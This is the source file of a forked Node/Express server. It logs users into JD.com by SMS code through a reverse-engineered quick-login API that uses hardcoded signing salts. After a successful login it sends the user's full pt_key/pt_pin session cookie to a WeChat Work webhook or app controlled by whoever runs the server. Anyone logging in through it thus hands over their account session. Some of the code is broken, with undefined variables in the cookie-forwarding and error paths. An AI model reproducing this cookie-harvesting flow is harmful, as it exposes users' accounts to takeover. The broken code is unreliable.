forked from Xiao233-q/jd_sms_login
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
314 lines (303 loc) · 8.42 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
// 填入你的配置,或者通过环境变量传入
const QYWX_KEY =
process.env.QYWX_KEY && process.env.QYWX_KEY.length > 0
? process.env.QYWX_KEY
: '';
// 尽量不用@all,除非只有你一个人
const QYWX_AM =
process.env.QYWX_AM && process.env.QYWX_AM.length > 0
? process.env.QYWX_AM
: '';
const express = require('express');
const got = require('got');
const path = require('path');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json({ limit: '50mb' }));
app.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));
const crypto = require('crypto');
const md5 = function (str) {
const encode = crypto.createHash('md5');
return encode.update(str).digest('hex');
};
/**
* 发送消息推送
*
* @param {*} msg
*/
async function sendMsg(updateMsg, cookie, userMsg) {
// 企业微信群机器人
if (QYWX_KEY) {
try {
await got.post(
`https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`,
{
responseType: 'json',
json: {
msgtype: 'text',
text: {
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
},
},
}
);
} catch (err) {
console.log({
msg: '企业微信群机器人消息发送失败',
});
}
}
if (QYWX_AM) {
try {
const [corpid, corpsecret, userId, agentid] = QYWX_AM.split(',');
const getToken = await got.post({
url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`,
json: {
corpid,
corpsecret,
},
headers: {
'Content-Type': 'application/json',
},
timeout: 10000,
});
const accessToken = JSON.parse(getToken.body).access_token;
const res = await got.post({
url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accessToken}`,
json: {
touser: userId,
agentid,
safe: '0',
msgtype: 'text',
text: {
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
},
},
headers: {
'Content-Type': 'application/json',
},
timeout: 10000,
});
} catch (err) {
console.log({
msg: '企业微信应用消息发送失败',
});
}
}
}
/**
* 对ck进行处 的流程
*
* @param {*} cookie
* @return {*}
*/
async function cookieFlow(cookie, userMsg) {
try {
await sendMsg(updateMsg, cookie, userMsg);
return msg;
} catch (err) {
return '';
}
}
async function sendSms(phone) {
let appid = 959;
let version = '1.0.0';
let countryCode = 86;
let timestamp = new Date().getTime();
let subCmd = 1;
let gsalt = 'sb2cwlYyaCSN1KUv5RHG3tmqxfEb8NKN';
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: '',
},
body:
'client_ver=' +
version +
'&gsign=' +
gsign +
'&appid=' +
appid +
'&return_page=https%3A%2F%2Fcrpl.jd.com%2Fn%2Fmine%3FpartnerId%3DWBTF0KYY%26ADTAG%3Dkyy_mrqd%26token%3D&cmd=36&sdk_ver=1.0.0&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp,
dataType: 'json',
});
let data = JSON.parse(res.body).data;
subCmd = 2;
timestamp = new Date().getTime();
gsalt = data.gsalt;
gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let sign = md5(
'' +
appid +
version +
countryCode +
phone +
'4dtyyzKF3w6o54fJZnmeW3bVHl0$PbXj'
);
let ck =
'guid=' +
data.guid +
';lsid=' +
data.lsid +
';gsalt=' +
data.gsalt +
';rsa_modulus=' +
data.rsa_modulus +
';';
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: ck,
},
body:
'country_code=' +
countryCode +
'&client_ver=' +
version +
'&gsign=' +
gsign +
'&appid=' +
appid +
'&mobile=' +
phone +
'&sign=' +
sign +
'&cmd=36&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp,
dataType: 'json',
});
data = JSON.parse(res.body).data;
if (data.err_code > 0) {
return { ok: false, msg: '发送验证码失败:' + data.err_msg };
} else {
return { ok: true, msg: 'success', data: { ck: ck, gsalt: gsalt } };
}
}
async function checkCode(phone, code, gsalt, ck) {
let appid = 959;
let version = '1.0.0';
let countryCode = 86;
let timestamp = new Date().getTime();
let subCmd = 3;
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let body =
'country_code=' +
countryCode +
'&client_ver=' +
version +
'&gsign=' +
gsign +
'&smscode=' +
code +
'&appid=' +
appid +
'&mobile=' +
phone +
'&cmd=36&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp;
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: ck,
},
body: body,
dataType: 'json',
});
let data = JSON.parse(res.body);
return data;
}
/**
* API 发验证码
*/
app.get('/sendSms', async function (request, response) {
try {
const phone = request.query.phone;
if (!new RegExp('\\d{11}').test(phone)) {
response.send({ ok: false, msg: '手机号格式错误' });
return;
}
console.log(phone);
const data = await sendSms(phone);
response.send(data);
} catch (err) {
console.log(err);
response.send({ ok: false, msg: '错误' });
}
});
app.post('/checkCode', async function (request, response) {
try {
const phone = request.query.phone;
if (!new RegExp('\\d{11}').test(phone)) {
response.send({ ok: false, msg: '手机号格式错误' });
return;
}
const code = request.query.code;
if (!new RegExp('\\d{6}').test(code)) {
response.send({ ok: false, msg: '验证码格式错误' });
return;
}
const { gsalt, ck } = request.body;
console.log(phone, code);
const data = await checkCode(phone, code, gsalt, ck);
if (data.err_code > 0) {
response.send({ ok: false, msg: '登录失败:' + r.err_msg });
} else {
const cookie =
'pt_key=' +
data.data.pt_key +
';pt_pin=' +
encodeURIComponent(data.data.pt_pin) +
';';
await cookieFlow(cookie, '短信登录');
response.send({
ok: true,
msg: '获取ck成功',
data: {
ck: cookie,
},
});
}
} catch (err) {
console.log(err);
response.send({ ok: false, msg: '错误' });
}
});
const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
};
app.use(express.static(path.join(__dirname, 'public')));
const PORT = 6789;
app.listen(PORT, () => {
console.log(`应用正在监听 ${PORT} 端口!`);
});